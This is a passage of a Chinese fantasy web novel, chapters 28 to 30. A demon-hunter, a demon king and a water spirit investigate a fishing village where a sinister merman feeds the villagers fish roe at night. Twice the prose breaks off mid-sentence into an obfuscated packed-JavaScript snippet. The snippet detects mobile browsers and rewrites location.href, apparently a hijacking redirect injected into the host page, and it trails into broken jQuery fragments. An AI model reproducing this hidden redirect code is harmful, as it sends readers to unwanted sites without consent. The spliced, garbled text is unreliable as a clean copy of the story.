姜望舒刚想要下意识地躲开,一股暖流从祁辰的手掌传到自己的耳朵处,那缠绕的经久不息的歌声就这么消失了,她立刻老老实实不动了。 随着时间的流逝,在漩涡的中心,一道幽绿色的光芒渐渐浮现,让人想到鬼火,那光芒越来越亮,渐渐凝聚成一道模糊的身影。 28. 游踪问寻(二十八) 那是一条男性鲛人,但与传说中美丽而温柔的鲛人族不同,他的上半身虽然有着人类的形态,但皮肤却呈现出一种诡异的苍白,如同从未见过阳光,头发是黑色的,碧色眼睛和很多动物一样是竖瞳。 下半身是一条巨大的鱼尾,布满锋利的鳞片,在海水中不断摆动,掀起阵阵海浪。 鲛人不愧是有得天独厚的优势,和九尾狐一族一样,都是长相极美的,面前的男性鲛人也是,如果忽略他浑身散步的恶意气息,他的脸极具魅惑性,俊美长相和祁辰有的一拼。 只不过同样是美,祁辰更多了一些洒脱慵懒,而他则带着浓浓的邪恶气息,就像打开地狱大门带着鬼火而来的恶魔。 他的歌声停了下来,缓缓抬头看向四周的渔民,视线从姜望舒和祁辰所在的位置扫过几次,姜望舒有些紧张,担心会被发现,祁辰安抚地摸摸她的脑袋,示意没事,他的妖力比这鲛人强上许多,果不其然,鲛人很快转过头去。 突然,男性鲛人动了,他一抬手,水面上就出现几股黑色的水柱,一块块白色的不明物体飘了出来,两人都发现里面包裹的居然是密密麻麻的鱼卵。 渔民们看到这些鱼卵后,都疯了一般向前推搡,像下饺子一般直往前方跳去,可是大海边缘有看不见的屏障拦住他们的脚步,尽管如此,他们仍然不断争抢着往前挤,伸出双手去够,最终还高呼着:“感谢海神!”“我好饿!好饿!” 他们不会要吃掉这些鱼卵吧,姜望舒被自己的念头恶心到了,强忍着自己不要干呕出声。 事实证明,她想的没错,当这些不明物体飘出来后,渔民们果真伸手将空中的鱼卵都抓下来,立刻狼吞虎咽起来,还发出吃饭的“吧唧”声,一时间,整个海岸边都是拒绝吞咽的声音。 她的脸色一白,回头看祁辰居然直接闭上双眼,主打一个,眼不见为净,只要我不看,就不会被恶心到,她顿时懊悔自己太过于实诚了,只有自己受伤的世界达成了。 “好了,我们走吧,一会他们要是都吃完了,说不定就该吃我们了。”祁辰闭着眼睛慢悠悠道。 在回去的路上,村子里空旷无人,不知道还有没有正常人在这里,但姜望舒和祁辰还是没有隐身术,以防出现别的意外。 姜望舒没见过这令人作呕的场面,古籍中似乎没有描写过鲛人,她绞尽脑汁回忆半天,只觉得脑袋越来越痛,实在什么都想不起来了,于是只好转头问祁辰:“你说,他们刚刚在做什么,鲛人控制渔民吃鱼卵到底有什么目的?” 毕竟,鱼卵被吃掉的话,就没办法孵化了,还是这些渔民的身体早就被改造过,他们被当成孵化的器具? 祁辰目光微沉:“鲛人一族是上古万灵水族之一,片甲如刀,穿金裂石,一尾开渠,身形转瞬百里,开腔鸣音,声响迷乱神经,其所织鲛纱,遇水不湿,是祥瑞的象征,可那条鲛人,周深恶念萦绕……” “鲛人的繁殖方式就是胎生,一次只可产下一子,且夭折率其高,但相对的,成年后的鲛人生命力极强,所以刚刚那不可能是鲛人的卵。”祁辰提出一些疑点。 听后,姜望舒也推翻了之前的猜想:“不过可以肯定的是,这个渔村早就被那条鲛人控制住了,而且,还有个问题,刚刚的鲛人明显是男性,广场上的那座雕像却是女性鲛人,所以那座雕像也不知道跑到哪里去了。” 两人都没有什么头绪,祁辰倒是不再想那么多,他觉得真想弄明白这件事情很简单,只要找到鲸妖那老家伙就行,何苦在这里自费脑细胞。 回到客栈,祁辰想要先把姜望舒送回房间,两人正说着话,走上四楼。 刚走上楼梯,祁辰猛地拉过姜望舒,竖起食指对她比了一个“嘘”的手势,只见一个人正趴在姜望舒的门口,津津有味地吃着刚刚店小二送来的饭菜,他并没有用筷子,而是直接用手抓着吃,不时触碰到碗碟,发出“乒乒乓乓”的声音。 那人身子的扭曲程度是正常人无法达到的,就像一条经过水煮后的软烂面条,扭来扭去,看得两人又是一阵恶心。 这下轮到姜望舒犯难了,她在想要不要翻窗回自己的房间,可是一想到自己的门口就趴着一个有异常的渔民,她就感觉哪里都不舒服,而且在房间中还不能发出动静,不然可能会被破门。 一个渔民,她当然不怕,毕竟也打不过她,只是不知道这些渔民之间有没有什么特殊的联系方式,人多势众,到时候事情会很麻烦。 祁辰看出姜望舒的为难,直接牵着她的手带到二楼他住的房间,温暖的气息迎面而来,直到做到柔软的床铺上,姜望舒才回过神来,她控制不住地干呕起来,祁辰在一旁不停地帮她拍着背。 这时,还在睡梦中的消消被吵醒了,见到姜望舒来了,终于敢从玻璃瓶中出来了,刹那,一个小男孩模样的小妖就出现在房间里,他跑上前,看到姜望舒脸色难看,不明情况地问:“你吃坏什么东西了?吐成这样。” 接着又看到一脸温柔的祁辰,这场景怎么看都像是温柔丈夫照顾俏皮妻子,消消一副见了鬼的样子问:“你……有了?你俩背着我???” “滚!”尽管姜望舒强烈不适,但还是没忍住低声怒骂了他一句,“这个村子有古怪,刚刚我和祁辰出去探查了一番,就在你呼呼大睡的时候。” 消消有些委屈地说:“妖怪的确可以不睡觉,但是,不代表不会困啊!就像我也很馋一样……” 消消跑到两人中间,不顾祁辰杀人一般的眼神,突然语气一变,发出嫌弃的声音说道:“那你一定是看到什么恶心的东西了吧,能让你吐成这样,一定是极其恶心之物,说来我听听,我是个没见过世面的小水滴。” 话还没问完,就被祁辰无情地拎起,扔到地上去。 “本王的床,你不许上来。” 服了,不上就不上。当然,这是消消内心说的话。 姜望舒和祁辰把今晚发生的事情都告诉给消消,并且叮嘱他也要小心一些,目前看来,这里的食物还是不要吃为好,还好姜望舒随身带着一些干粮,祁辰和消消是妖怪,也不需要吃东西。 但是现在又产生了一个新的问题,就是房间中只有一张床,他们该怎么睡呢? 姜望舒几乎没有犹豫,主动提出:“既然这是你的房间,那么就你睡床吧,我坐在椅子上凑合一晚上就行。” 令消消意外的,祁辰居然二话没说就同意了,既然如此,他也就不闲操萝卜淡操心了,直接转身飞回玻璃瓶里。 今晚,姜望舒实在是太累了,吐过之后又感觉自己很虚弱,所以很快就沉沉睡去。 清晨,阳光透过窗帘,照射进屋内,姜望舒蜷缩在被窝里,感到柔软的被子紧紧包裹着她,温暖而安心。她长长的睫毛颤动几下后,缓缓睁开眼睛,眼前是一片朦胧的光影。 但很快,姜望舒就反应过来不对劲了,她昨晚不是趴在桌子上睡的吗?一转头,发现祁辰就睡在她身后,他们没有肢体接触,中间相隔了一些距离,只是他身上的被子早就被她抢走了大半。 这下,姜望舒是彻底吓醒了,眼中的惺忪顿时消失不见,面前的男人睡得很沉,呼吸平和,眉眼舒展,平日里那股锐利的嚣张神采在此刻收敛,取而代之的是一种宁静柔和。 在私下和姜望舒见面的时候,他总是喜欢把一头长发放下来,就像个男魅魔一样,此刻有几缕不听话的头发和姜望舒的长发缠绕在一起,又直又硬的是姜望舒的,软而卷曲的是祁辰的。 姜望舒脸色微红,她不知道是不是自己昨晚睡迷糊了,自己爬上的床,毕竟实在是太困了,完全没了意识,不过既然昨晚祁辰同意自己睡桌子,那应该就不是他干的了,自己爬床的可能性更大。 就在姜望舒悄咪咪准备下床转移阵地的时候,床上的祁辰突然哼唧一声,缓缓睁开眼睛,他抬起一只手臂随意搭在额头上,目光温柔地看向姜望舒:“姜大捉妖师,早啊。” “早……早,今天阳光真好哈哈。”姜望舒有些结巴,面对着还拉着窗帘的黑暗房间,直接就是一个睁眼说瞎话的操作。 看他并没有提起她爬上床的事情,姜望舒松了一口气,没想到下一刻,祁辰就像是她肚子里的蛔虫一样,嘴角露出一抹浅浅的微笑,好奇地问:“你为什么会睡在我的床上呢?” 是啊,为什么呢,我也想知道。 姜望舒貌似很忙地在打理自己,又整理自己的符纸袋,然后头也不抬地回:“不知道。” 玻璃瓶中的消消也被吵醒了,但他并不敢出来吱声,只是妖王的形象在他的心里又碎了一次,昨夜,他看的真切,分明就是祁辰知道望舒姐一定不同意到床上睡,又担心她睡的不舒服,所以才偷偷把望舒姐抱到床上的。 而且,抱到床上后,连抱一下都不敢,莫名其妙地盯着看了好久!那幽深的眼神,让他一度觉得祁辰想要将姜望舒拆吞入腹。 不过,这话消消不敢说,选择在玻璃瓶中装死。 祁辰声音还是很温柔地说:“你可知道,我们有的妖怪领地意识很强,尤其像我这种被称为王的妖怪,所以我们的床是私人领地,绝对不允许外人休憩,更不用说女性,可是你却爬上了我的床,那么我以后的伴侣一定会介怀这件事情……” 他的语调和缓,可在姜望舒耳朵中听来就是一记重拳,实在不知道该说什么,试探地问:“要不……此事,只有天知地知你知我知消消知?我保证绝对不说出去!” 祁辰原本柔和的脸又黑了黑,眼见就要转头不理她,门外响起了敲门声。 “客官好!”门外有男人冲房间内喊,“您醒了吗?”声音有些不依不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331626|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饶,但在姜望舒的耳中就是如听仙乐耳暂明,感官一下子通透起来,脸也不红了,手也不忙了,一心想着要去回应门外的人。 祁辰“啧”了一声,十分不满地说:“真不知道这家店怎么开的,居然大清早来敲房客的门,万一里面是个起床气大的,那这门外的人可就要惨了。” 好在,他并没有想要为难门外的人,有些不耐烦地起身,拢了拢半露不露的胸膛,他这副衣衫不整的模样可不愿被别人看到。 莫名的,姜望舒也不想让其他人看到他刚睡醒的样子,于是止住他想要去开门的动作,自己去打开了房门,没想到房门外正站着昨夜来敲姜望舒房门的小厮,脑海中又想昨日地上那一摊散发着腐臭味的“食物”,一股恶心感涌上喉间。 看到姜望舒脸色白了白,祁辰立刻起身,才发现来的是店小二,冲外面的人抱歉地笑笑:“一大早的,有什么事情吗?不好意思,她刚睡醒,所以还不太清醒。” 姜望舒这才回过神来,仔细打量面前的小厮,他年纪并不大,大约二十出头,皮肤被海边的太阳晒的黢黑,透着一股质朴,身上穿着一件洗得发白的蓝色对襟布衫,袖口随意地挽起,露出古铜色的小臂,手臂上隐约可见几道细小的疤痕。 姜望舒猜测疤痕应该是他平时搬运货物留下来的。 此刻,他的眼神在姜望舒和祁辰二人之间来回瞟,然后恍然大悟,拍拍祁辰的肩膀,一副兄弟我明白的样子,说:“不好意思啊,打扰到二位了,我本来等一下还想去叫姑娘呢,既然你们都在一起,正好省的我去说了。” 他接着说:“昨天晚上一个酒鬼不小心跑进客栈了,嗐!也是我们不小心,下次绝对不会有这种事情发生,但还是吓到姑娘了,所以本店的店长说,看到两位自从来了之后,都没有点什么吃的,所以想免费请二位在这里饱餐一顿,就在今天中午,一楼的餐桌处。” 要吃这里的食物?如果没有昨天晚上的经历,姜望舒一定会很高兴,但现在,谁知道那食物能不能吃,吃完后会不会也变异了? 姜望舒刚想要开口婉拒,没想到却被小二抢先了话头:“还请两位一定要来啊!如果饭菜上有什么要求我们一定会尽力满足!” 话都说到这个份上了,两人也想不到理由拒绝了,等到店小二离去,姜望舒和祁辰都坐在椅子上沉思。 姜望舒并不认为这里所有的食物都有问题,那样的话,来往的商人应该全都中招了才是,可是,到底哪些是有问题的,哪些是没问题的,这一点令人难以分辨。 突然,她想到什么,敲了敲消消的玻璃瓶,问:“消消,你的鼻子最灵,待会能闻出来食物的异常吗?” 水滴晃了晃,回应道:“应该没问题,可以试试。” 祁辰手指敲着桌面,慢悠悠开口说:“还有个办法,既然这个渔村有古怪,我们不妨直接收拾行李跑路,这样他们也捉不到我们。” “这次我来东海,是想寻到碧海,也就是一种海螺状的材料,”姜望舒不认同地摇摇头“而这种材料,就是鲛人族独有的,我直觉,这个渔村发生的事情会是一个机会,鲛人一族居于深海,否则我们之后也很难找到其他的鲛人。” 其实姜望舒也有些犹豫,她并不确定这里的事情她是否能摆平,有些担心波及到祁辰和消消,最主要是消消,他修为是三人里面最低的一个。 祁辰看出了她的犹疑,微微侧头,突然笑起来:“怎么,姜大捉妖师不会是怕了吧?我和这小水妖还没觉得有什么呢!” 不知怎么就被夸的消消下意识地挺直了腰杆,以此证明自己的确十分英勇。 看出姜望舒脸上的表情明显变了,他又继续拱火说:“其实也没有关系,害怕是人之常情的,我认识那条老鲸妖,到时候我把你带到他的面前,看在我的面子上,他应该也会帮你的。”说完,连目光都变得怜悯起来。 是可忍,孰不可忍。你听听这话说的,姜望舒能忍吗?至少现在当然不能。 于是她双手叉腰,言辞铿锵,掷地有声地说:“不用你!我们就把这个渔村的事情给探查明白了,你俩别给我拖后腿就行!” ok,再次成功拿捏住。 祁辰忍不住低声笑起来,眉眼弯弯,在一旁的消消早已洞悉一切,真是奇怪,姜望舒明明看着挺机灵的一个小姑娘,怎么一遇到祁辰就总是被拿捏的死死的,自己还傻乎乎的以为占了上风。 如果她真这么傻就好了,这样自己就是大哥,她是小弟了。消消白日做梦着。 此刻,“傻乎乎”的姜望舒还不明白祁辰到底在笑什么,不满地说:“你不要再笑了!有什么可笑的,你质疑我?” 没想到,听到这话的祁辰直接笑得直不起腰来,身子一颤一颤的。 姜望舒拳头又硬了。 29. 游踪问寻(二十九) 整个上午,他们就在房间商量对策,姜望舒并不打算回到自己的房间里了,反正都被误会了,还是三个人聚到一起更加安全一些,她盘腿坐到床上修炼了一上午。 正午,两人打开房门,消消被祁辰抢先一步装在衣兜里,也是难为他了,衣服大多是轻薄的,这好不容易才找出一件有宽大衣兜的。 昨天姜望舒三人来的时候并不是吃饭的时间,所以没有发现原来来这个客栈吃饭的人还是挺多的。一楼的餐厅不算大,但却充满了浓郁的渔村风情,墙壁上挂着用贝壳和海草装饰的画框,里面是渔民出海的素描。 姜望舒和祁辰找了个位置坐下,天花板上悬挂着几盏造型古朴的灯笼,散发出柔和的光晕,消消的玻璃瓶被祁辰放到桌面上,毕竟一会还要靠它的鼻子来闻一闻菜品是否有异样。 店小二见到两人真的下楼来了,立刻热情地挥手招呼:“嘿!两位客人,你们下来啦?快来尝尝我们渔村的特色菜。” 在他身后是一位中年男人,身材微胖,脸上挂着和蔼的笑容,什么话也没有说,只是点点头后就离开了。 姜望舒和祁辰对视一眼,立刻装作不好意思的样子说:“嗐!这多不好意思呢!你们少做一些就好了,我们吃的不多,而且也不太习惯吃海鲜。” 店小二一边端菜,一边说:“才早就准备好了,保温着呢,今天刚打捞上来的海鲜,新鲜得很!清蒸海鱼,还有海鲜粥,再送一壶好酒,你们吃着。” 说着,他就把一盘盘热气腾腾的菜肴端了上来,顿时香气扑鼻,清蒸海鱼的鱼肉洁白如玉,海鲜粥也是金黄色的,看起来很诱人,不过姜望舒经历过昨晚后,面对浓郁的海鲜味,实在是没什么胃口。 祁辰拘谨一笑,用筷子夹起一块鱼肉,桌子上的玻璃瓶没有任何反应,鱼肉被放到嘴里,味道的确很鲜美,他点了点头,冲店小二赞叹:“确实很好吃,多谢。” 姜望舒也动起筷子吃了起来,就在她想要起酒壶的时候,玻璃瓶中的水突然晃动了一下,心下顿时了然,再也没有动那一壶酒。 眼见两人吃的津津有味,小厮露出欣慰的笑容:“喜欢就好!这都是我们渔村的美食,对了,还有这壶酒,你们也一定要尝尝,这酒可是祭拜过海神用的,能保佑大家健康平安!” 姜望舒含糊地应了一声,随后说:“你去招待其他人吧!我们这边自己吃就可以了,不要耽误了客栈里的生意。” 没想到店小二并没有走,直接上前就要倒酒:“客官,一定要尝尝我们这里的酒,来,我给你满上。”说完,居然直接拿起装着消消的玻璃瓶,就往里面倒酒,动作迅速,祁辰和姜望舒居然一时都没有拦住。 姜望舒立刻推开了他,把玻璃瓶抢过来,大部分的酒都倒到了桌面上,可是她的动作还是慢了半拍,几滴酒溅了进去。 “砰”得一声,是祁辰砸碎酒壶的声音,店小二就这么飞出去两米远,祁辰还在静静坐着,只是轻轻抬眸瞥了对方一眼,而后嘴角勾起。 “我不喜欢有人对我指手画脚的,更不喜欢有人擅自碰我的东西。” 话音刚落,一股强大的威压铺天盖地地袭来,如同瀑布一般,让原本就倒在地上的店小二又闷哼了一声,这下彻底不敢轻举妄动了。 “好了,你走吧!”姜望舒厉声。 经此一闹,两人也没了接着吃下去的心情,两人拿起桌子上的玻璃瓶就回到了房间。 刚关好门,在门上贴上隔音符,姜望舒就摇晃着玻璃瓶,示意消消先出来,消消的脸色明显变得有些红。 “你不会喝了那酒吧!”姜望舒有些担忧地问。 消消没说话,显然已经有些迷糊了,他没有喝过酒,即使只是几滴,也让他感到天旋地转的,简单来说,就是酒量差。 祁辰替消消回答了姜望舒的问题:“他的本体沾到了酒水,妖怪的本体是很脆弱的,所以也就相当于他沾染了刚刚的酒。”说完,他挥挥手,向消消体内注入了些妖力,又用妖力将玻璃瓶净化了。 “这样的话,看来我们不得不去会一会那个男性鲛人了,不然消消也会有危险。”姜望舒脸色严肃地说,“消消下午的时候就在房间里休息吧,我们出去逛逛,我还想去那片海域附近搜索一下,说不定能提前见到那条鲛人。” 白天,这个渔村的码头上已经热闹起来了,一艘艘渔船靠岸,船身随着波浪轻轻摇晃,渔民们穿着沾满海水的蓝色大褂,脸上带着笑。他们一个个熟练地从船上卸下满仓的鱼虾,一筐筐海鲜在码头上堆成了小山。 如果说之前的青柳村是封闭在山中的村庄,村民的生活来源于他们脚下的土地,那么这个渔村就是一个商业村,人来人往的非常多,海鲜会运往内陆,甚至是进贡到京城的皇宫里。 姜望舒甚至走神地想到,说不定远在宫里的二皇子也能吃到这里的海鲜呢? 两个人不知不觉就走到了村口,渔村就像是一个小镇子一样,生活必需品基本都有卖,还有饭店等等。 只是,两人还没等走到海边,就在村口被一个道士模样的老人拦住了,这个人从看到他们出村就远远地从村外跑过来,走近一看,他身形瘦削,佝偻着背,满是褶皱的脸上挂着一副和善的笑容。 但是姜望舒怎么看他怎么觉得像是假冒的,他甚至还穿着一身黄袍,打扮得比她都像捉妖师,非常符合大众眼中对于捉妖师装扮的刻板印象。 祁辰更是低头小声在她耳边说:“你看那人,才是真的符合我心目中捉妖师的形象……”在姜望舒就要爆锤他一拳之前,他话头及时拐了个弯,“当然,遇到你后就知道我简直大错特错。” 老道士声音带着一种刻意的低沉,好像在说什么惊天的大秘密,他先是左顾右盼,看到周围没有什么人后,猛地向姜望舒手中塞一个小巧的酒坛子。 姜望舒现在对于酒已经应激了,下意识就想要扔出去,可面前这老道士手劲极大,死死地把酒坛子抵在她的掌心,她一下子居然难以挣脱。 “做什么?动手动脚的?”祁辰的脸顿时黑了下来,强行将老道士拉开,又将姜望舒护在身后,目光不善地盯着他。 老道士见他俩不收,又担心动静闹大了引来别人,顿时急得直跳脚,声音又小又急地说:“诶呀!你们懂什么!这酒是在广场海神雕像下供奉过的,能够保平安!” 这不是巧了,刚刚在客栈的时候,也有一个人这么对他们说,然后那个人就被祁辰打出去几米远。 “真的,你们相信我,一定要喝这个,才能平安无事!”面前的道长急得都要冒汗了,“我说,我白送你们酒你们都不喝。” 姜望舒抱臂,故意摇头说:“我们与你并不相识,怎么知道你是不是故意在这酒里下毒,想要谋财害命呢?来路不明的东西,尤其是这免费的东西,我们可更不敢收了。” “行吧行吧,我就告诉你们,”老道士凑近他们,压低声音说,“这渔村啊,有古怪。” 话都说到这里了,姜望舒倒真想听听这个老道士接下来的话了,于是轻笑着,语气中带着几分调侃问:“能有什么古怪啊?我和我朋友旅途路过这里,没觉得有什么异常啊!” 老道长的目光在两人之间来回看了一遍,然后将两人领到墙角,小声说:“这里的人都被一只大妖控制了,白天一切如常,但到了晚上就会神智不清,如同行尸走肉,并且……” 他的表情变得极其恐惧起来。 “有一次,我半夜偷偷跟着这些渔民来到海边,他们好像视力并不怎么样,主要靠声音辨别方向,我没敢靠近海边,远远地,发现海上出现了个人形状的怪物,当时吓得我立刻就跑了,我怀疑他们已经换了一个灵魂了。” 这说的倒是和姜望舒两人昨晚看到的景象差不多,只是他们并没有相信他,姜望舒问:“既然你说这村子的人都中招了,你为什么没事?” 眼见姜望舒和祁辰还是两脸不信任,他急了,跺了跺脚,说:“我说你们两个怎么就不开窍呢,你们傻啊!” “咳!”祁辰不经意间咳了一声。 老道士心里对这个贵气的男人发怵,立刻转换了语气:“嗯……我是说,我刚刚没说明白,我没什么钱,这村里人供奉着广场上的海神雕像,我经常去那里偷吃东西,一开始我也困惑,为什么我没事,我百般思考对比,终于发现在这个镇子里,大家都不会吃供奉过的食物,所以每一个来到这的外村人,我都会在村口给他们塞供奉过的酒水。” “其他人听说是免费的都欣然接受了,只有你们,怎么都不收。”说完,他还有些幽怨地看向两人。 尽管他说的的确天衣无缝,但是姜望舒并没有轻易相信他,毕竟店小二也说,那酒是供奉过的,可消消却闻出酒中的腐臭味,其实要验证这一点也很简单,只需要把女鲛人雕像前的贡品拿回去给消消闻一闻就可知了。 一言不发的祁辰突然发问:“既然你说你拦住每一个过路人,为什么我们昨天傍晚到的时候没有见到你?” 老道长一脸理所当然地说:“天都快黑了,我肯定要跑回家去,毕竟晚上这个渔村那么危险,万一我被逮住了怎么办?” 看来还是个惜命的。 姜望舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337027|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和祁辰收下了酒,和这个老道士道谢一番后,决定改变一下计划,先去偷拿祭品,两人贴上姜望舒的隐身符,很顺利地拿到女性鲛人雕塑脚下的酒坛,然后直奔客栈而去。 回到房间里,消消还没有睡醒,是姜望舒把它摇醒的。 “消消,醒醒,先别睡了,你闻闻看,这两坛酒如何?有没有什么异常?” 在祁辰法术的帮助下,消消的酒早就醒了大半,刚刚又睡了一会,现在感觉精神抖擞,状态好多了。 消消化成人形,打开两坛酒,分别嗅了嗅,突然眼前一亮,对两人说:“这两坛酒里不仅没有腐臭味,而且还有一股清香,里面好像是有一股妖力,但是却不是臭的,香香的。” 姜望舒震惊,这也能闻出来? 既然没有什么危害,这酒就让消消放心地喝下了,几口下肚,他并没有什么特殊的感觉,只是这酒喝完了居然不醉人,消消嘿嘿一笑,逗得姜望舒面庞也染上笑容。 看到两个傻笑的人,祁辰扶了扶额头,到底是谁让谁降智起来的? “虽然这个酒目前来看是没问题的,但是并不能说明它能够解除有异常酒水带来的影响,所以今天晚上消消你还是独自住在我的房间里吧,我在祁辰这里。”姜望舒思忖道,“如果过了半夜你没事,就到楼下找我们,就算出问题了,也不要害怕。” 祁辰和消消对于这个计划都没什么意见。 折腾了这么久,时间也快要到傍晚了,好在客栈里再也没有人上来打扰他们,消消被姜望舒放到四楼的房间后,姜望舒就沿着楼梯走了下来,回到祁辰的房间,发现他坐在椅子上,手撑着脑袋,闭目养神。 可能这就是大佬的淡定吧!姜望舒轻叹一口气,顺手将床上的毛毯扯过,盖在他的身上,担心他着凉,转身去准备新的符纸,却错过男人微微上扬的嘴角。 夕阳刚一沉下山头,夜色便迫不及待地从四面八方围拢过来,外面很快就天黑了,姜望舒已经完成了一些必要的准备。 “你说,那条鲛人大概会有多少年的修为呢?”等待的时间里,姜望舒闲的无聊,问祁辰。 祁辰眼睛都没睁开,不假思索地回答:“一千年出头吧,不过鲛人的种族有优势,所以和之前葱雾森林边缘遇到的蛇妖实力差不多,以你现在的实力,未必能打赢,但绝对不会败,大概率是两败俱伤,所以不把他逼到绝路上,就不必担忧。” 姜望舒点头,经过这一路,她的能力的确强了不少,至少之前布置的阵法甚至能困住祁辰一刻钟,足以可见她的符纸和阵法能力已经很强了,这样对比起来,反倒是她的体能有些跟不上了。 “所以,”祁辰睁开眼睛,目光灼灼地盯着她,“我的追踪标记什么时候能够再起作用。” 这两件事情之间有什么联系吗?话题怎么就转变到这里了?而且想当初,他在自己身上下追踪标记的时候,可没问过她的意见,这次是转性了,会提前询问了。 姜望舒移开目光,回应:“我不是你的猎物,所以不会同意你这样做的。” “唔……”祁辰的目光并没有移开,“可是,追踪标记并不只对猎物来说有用,也是一种象征。” 姜望舒突然就没有勇气问是什么象征了,答案似乎呼之欲出,只是含糊地说:“我是一个大活人,又不会丢,你不要搞那些,我们还是再来说说你们妖界吧,到底是怎么划分的呢?” 知道姜望舒是在转移话题,不过祁辰也没有继续追究,他相信,总有一天,她会回应的,无论结局好坏。 “我们妖怪没有你们人类那么严格的等级制度,强者为尊,当然,越强大的妖怪领地意识越强,其中,四大妖王都有自己的宫殿。” 姜望舒眼睛亮了一瞬,她还是很想看妖王的宫殿是什么样的布置的。 祁辰一眼就看出她的心思,继续缓缓道来:“每个妖王的宫殿都是根据自己的喜好布置的,不过你应该也知道,自从上次人类和妖怪大战之后,四大妖王只剩下两个,还有一只是老鲸妖,一直身居海底没有露过面,所以还是因为死去的狼妖王说漏嘴了,人类才知道海底也有一只妖王,不过并不知道是什么妖怪,所以……” 所以你很厉害,没有人知道的事情,你居然知道。 剩下的话他没有说出口,因为姜望舒已经自己反应过来了,并且立刻接上话头:“看来我师父师娘不愧是隐居的捉妖师,走南闯北,见识也多。” 言下之意是师父和师娘见过,并收录到流云派的藏书间,这才让她得以知道海妖其实是鲸妖。 “然后呢?还有什么?” 30. 游踪问寻(三十) “还有…是一些血脉比较强大的妖怪,鲛人、九尾狐这种的都算,他们生来就有意识,就会修炼,不像其他的妖怪,需要看时机,”祁辰像个不合格的说书人,讲得故事毫无逻辑,想到哪就说到哪,到最后甚至打了个哈欠,声音也越来越轻。 “我们妖怪之间一般不会互相伤害,这就像你们人类去杀人一样,当然,在我们的妖怪的世界,就算受了委屈也发没法子起草诉状,更没有击登闻鼓这一流程给小妖鸣冤,还是找个安全的角落苟着来得实在,对于实力强大的妖来说,伤不伤害的,全凭良心。” 原来还是强者为尊。 姜望舒还想听他说些什么,却看到祁辰困倦地揉揉眼睛,看向墙上的钟表,已经子时了,消消怎么还没有下来敲门?不会是那真正祭祀过后的酒没有用处吧? 她忍不住站起身来,走向门口,却被祁辰拉住了手腕,再次坐了回去。 “别急,那只小妖腿短,走得慢。” 消消:?风评被害。 终于,门外响起了窸窸窣窣的声音,好像是有人在踱步凑近,三短一长的敲门声响起,是之前他们约定的暗号,姜望舒打开房门,果然是消消来了。 现在的渔民们应该又都变成昨晚那副鬼样子跑到海边。 三人打算故技重施,保险起见,还是由祁辰施法,这一次,他们特意在路过广场的时候看了一眼,发现女鲛人雕像果然又消失不见了。 这一次,他们直接绕远路,先潜入了水中,在不远处看着,等到渔民们都吃完了,就跟着这条鲛人,找到他的栖息地,如果时机得当,还能直接收了他。 姜望舒提前给自己贴了防水符,这样她可以在水下自由地行动,不会被打湿,甚至可以呼吸,祁辰是妖怪,直接用妖力罩住了自己,消消就更不必说了,进入水中的他更是像回到家里一样。 和昨天一样,渔民们先是在海边喊着自己好饿,然后吃掉男性鲛人放出的一团团鱼卵,只是这次,从侧面看,姜望舒居然发现在男性鲛人的背后,还有一条鲛人的影子,她的面容让人看不清楚,只出现了几瞬后,就消失不见。 姜望舒庆幸自己这个防水符还有保温的作用,不然她一定会在海水中被冻得无法动弹。 终于,这场大型的喂食活动结束了,男性鲛人转身落入海里。 “快!我们跟上!”姜望舒开口道。 一人两妖猛地扎进水中,在祁辰妖术的加持下,一直保持着隐身的状态,悄悄地跟在鲛人身后。 外面天色本来就黑,越往深处游,幽深的海底更是什么都看不见,只剩下前方男性鲛人尾巴偶尔闪烁的绿色荧光,海面下异常安静,就像是一个与世隔绝的世界。 姜望舒不得不感概祁辰妖力的强大,这条鲛人完全没有注意到身后跟了三个小尾巴,他游动的姿态优雅而孤独,身体在水中划出一道道柔和的轨迹,速度倒不慢。 良久,他们来到一条幽暗的海底通道,周围的景色不再是光秃秃的海底,取而代之的是一片片破碎的石块和断裂的柱子,可以看出这里曾经很繁华,只是现在只剩下一片废墟。 再往前,是一座宏伟的海底宫殿,如今却只剩下断壁残垣,好在海底散落着五颜六色的宝石,照亮了这里,姜望舒等人终于能看清周围的景象,巨大的石柱歪斜着,上面布满了海藻和藤壶,破碎的石雕散落在海底,曾经精美的图案已被海水侵蚀得模糊不清,只剩下一些残破的轮廓。 鲛人缓缓地游向废墟的中心,他的长发在水中飘散,如同海藻般缠绕着他的身体,尽管姜望舒看不清他的脸,但仍然感觉到他似乎很痛苦,只见鲛人伸出手,轻轻抚摸了几下石雕,一串晶莹的珠子沉入海底。 姜望舒猛地一亮,看向祁辰,用口型确认:这是珍珠? 祁辰点头。 姜望舒手指微微摩挲了下衣服,克制住去捡珍珠的冲动,而后才意识到,这里可能是鲛人的家,只是不知道为什么变成了这样,祁辰和消消眼中也是同样充满了迷茫,祁辰虽说没来过鲛人的领地,但是好歹也是很强势的一族,怎么会破败成这样? 男性鲛人并没有停留太久,径直朝另一个方向游去,在他刚走后,姜望舒居然发现在他身后再次出现了那条神秘的女性鲛人,这次她确定自己没有眼花,那个女性鲛人就是渔村广场上的雕像。 有意思,一条女性鲛人似乎是不想伤害渔民们,至少从她那里是可以获得解药的,但是这条女性人鱼是否还活着,这是个未知数。另一条男性鲛人显然对渔民们抱有深深的恶意,只是不知道两条鱼之间到底是何关系。 